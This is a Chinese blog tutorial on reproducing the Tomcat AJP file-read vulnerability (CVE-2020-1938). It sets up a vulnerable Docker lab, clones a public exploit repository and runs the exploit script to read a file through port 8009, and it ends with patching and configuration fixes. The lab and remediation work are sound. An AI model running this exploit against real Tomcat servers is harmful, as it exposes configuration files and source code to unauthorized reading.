首页 > 其他分享 >Apache Tomcat文件包含漏洞复现(详细教程)

Apache Tomcat文件包含漏洞复现(详细教程)

时间:2024-07-18 20:29:36浏览次数:12  
标签:Tomcat AJP 漏洞 复现 Apache 服务器 docker

1.漏洞原理

  Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目录下的任意文件。

2.漏洞概述与分析

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,他对应的配置为

<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为

<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443" />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Apache 服务器

(1)AJP是一个二进制的TCP传输协议。浏览器无法使用AJP,而是首先由Apache与Tomca进行AJP的通信,然后由Apache通过proxy_ajp模块进行反向代理,将其转换成 HTTP服务器再暴露给用户,允许用户进行访问。

(2)这样做的原因是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化。在某种程度上,AJP可以理解为HTTP的二进制版,因加快传输效率被广泛应用。实际情况是类似Apache这样有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以 AJP协议在生产环境中也很少被用到。

3.影响范围

Apache Tomcat 6

Tomcat 7系列  <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

4.搭建弱点环境

4.1 Ubuntu

4.2 更新资源update

4.3 安装docker

sudo apt-get update

sudo apt-get install docker

sudo apt-get install docker.io

sudo apt-get install docker-registry

sudo docker version

4.4 安装nmap

apt-get install nmap

4.5 安装Tomcat

docker search Tomcat-8.5.32

docker pull duonghuuphuc/tomcat-8.5.32

4.6 查看拉取的Tomcat镜像

docker images

4.7 启动镜像

Docker run -d -p 8080:8080 -p 8009:8009 --name

ghostcat duonghuuphuc/tomcat-8.5.32

docker port ghostcat

4.8 查看ip地址为192.168.86.129

ifconfig -a

4.9 浏览器可以访问Tomcat页面表示环境搭建成功

192.168.86.129:8080

5.漏洞复现

5.1

docker exec -it ghostcat /bin/bash

cd webapps/ROOT/

5.2 添加测试文件

echo ‘this is CVE-2020-1938’>test.txt

ls

cat test.txt

5.3

exp地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

ls

5.4

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

ls

chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

ls

5.5 利用exp读取该文件

./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129

测试读取成功

6.漏洞修复、防御方法

Apache Tomcat文件包含漏洞修复方式为更新高版本,目前Apache官方已发布9.0.31、8.5.51及7.0.100版本对此漏洞进行修复,如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost;若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。如下:

1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。

2、禁用或限制AJP协议。

编辑 /conf/server.xml,找到如下行:

<Connector port="8009"protocol=“AJP/1.3” redirectPort=“8443” />

将此行注释掉(也可删掉该行):

配置secret来设置AJP协议的认证凭证。

例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol=“AJP/1.3” redirectPort="8443"address=“YOUR_TOMCAT_IP_ADDRESS” secret=“YOUR_TOMCAT_AJP_SECRET”/>

3.配置访问控制:合理配置访问控制是防范漏洞的重要措施之一。通过配置适当的访问控制策略,可以限制对敏感文件的访问,并仅允许授权用户进行相关操作。

4.定期监测和更新:定期监测漏洞信息和安全公告,并及时更新相关软件和补丁,以确保系统的安全性和稳定性。

5.强化服务器安全性:除了针对特定漏洞采取措施外,还应加强整个服务器的安全性。例如,使用防火墙限制对服务器的访问、启用Web应用程序防火墙(WAF)、配置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。

标签:Tomcat,AJP,漏洞,复现,Apache,服务器,docker
From: https://blog.csdn.net/weixin_60838266/article/details/140531992

相关文章

  • 使用Java和Apache Thrift构建高效的RPC服务
    使用Java和ApacheThrift构建高效的RPC服务大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!ApacheThrift是一种开源的RPC框架,支持多种编程语言,能够高效地进行跨语言服务调用。本文将介绍如何使用Java和ApacheThrift构建高效的RPC服务,包括Thrift的基础配......
  • 【漏洞复现】SuiteCRM SQL注入漏洞(CVE-2024-36412)
    0x01产品简介SuiteCRM是一款屡获殊荣的企业级开源客户关系管理系统,它具有强大的功能和高度的可定制性,且完全免费。0x02漏洞概述SuiteCRM存在SQL注入漏洞,未经身份验证的远程攻击者可以通过该漏洞拼接执行SQL注入语句,从而获取数据库敏感信息。0x03搜索引擎title="Suit......
  • 用php编写代码,实现Linux系统下源码安装Apache、Mysql、PHP以及LAMP部署验证的过程
    以下是使用PHP编写的代码示例,用于自动化安装和部署LAMP环境:<?php//定义安装路径和版本号$apacheVersion='2.4.41';$mysqlVersion='8.0.19';$phpVersion='7.4.4';$apacheInstallPath='/usr/local/apache';$mysqlInstallPath='/usr/local/my......
  • 使用Apache POI 处理Miscrosoft Office各种格式文件
    介绍ApachePOI是一个处理MiscrosoftOffice各种文件格式的开源项目。简单来说就是,我们可以使用POI在Java程序中对MiscrosoftOffice各种文件进行读写操作。一般情况下,POI都是用于操作Excel文件。ApachePOI的应用场景:●银行网银系统导出交易明细●各种业务系......
  • 传知代码-揭秘AI如何揪出图片中的“李鬼”(论文复现)
    代码以及视频讲解本文所涉及所有资源均在传知代码平台可获取文字篡改图像的“照妖镜”:揭秘AI如何揪出图片中的“李鬼”在数字化时代,我们时常被各种图像信息所包围。然而,这些图像中有时隐藏着不为人知的秘密——被篡改的文字或图像。这些被篡改的内容可能误导我们的判断,......
  • Goby漏洞发布 | CVE-2024-4879 ServiceNowUI /login.do Jelly模板注入漏洞【已复现】
    漏洞名称:ServiceNowUI/login.doJelly模板注入漏洞(CVE-2024-4879)EnglishName:ServiceNowUI/login.doInputValidationVulnerability(CVE-2024-4879)CVSScore:9.3漏洞描述:ServiceNow是一个业务转型平台。通过平台上的各个模块,ServiceNow可用于从人力资源和员工管理到自动......
  • 使用Tomcat当做一个简单的文件服务器
    背景:简介图片没地方存储,开始想直接存数据库,试了下,直接存效率也太低了,尝试转base64再存,还是不行.最后有大佬说之前有单独搭建过一个tomcat来存图片,尝试了一把,暂时作为解决方案了.(目前看来,这应该是最适合我目前的场景的方式了,方案太多了,要是条件允许,......
  • MATLAB程序复现-考虑余热回收的电-氢-热综合能源系统随机分布鲁棒韧性规划
    摘要:在我国能源系统耦合日益加深和极端灾害日益频发的新形势下,建设韧性综合能源系统势在必行。该文考虑数据中心和氢能设备的余热回收利用,提出电-氢-热综合能源系统随机分布鲁棒韧性规划方法。首先,根据设备的产热原理,对数据中心、电解槽和掺氢燃气轮机的能量转换和余热回收过程......
  • MATLAB程序复现-基于多面体不确定集合的电力系统灵活性量化评估方法
    摘要:随着风电、光伏等新能源接入比例的不断提高,源荷不确定性的上升扩大了电力系统的运行灵活性需求。为准确量化电力系统的灵活性需求,制定兼顾灵活性与经济性的优化方案,提出了一种基于多面体不确定集合的电力系统灵活性量化评估方法。首先,采用多面体不确定集合量化多个光伏电站......
  • Apache基于IP和端口
    Apache基于IP步骤1:添加并配置虚拟网卡添加虚拟网卡:通常在虚拟机环境中,可以通过虚拟机软件(如VMware或VirtualBox)的网络设置来添加额外的网络适配器。配置IP地址:编辑/etc/sysconfig/network-scripts/ifcfg-ethX文件,,并将它们设置为静态IP地址。vi/etc/sysconfig/network-scrip......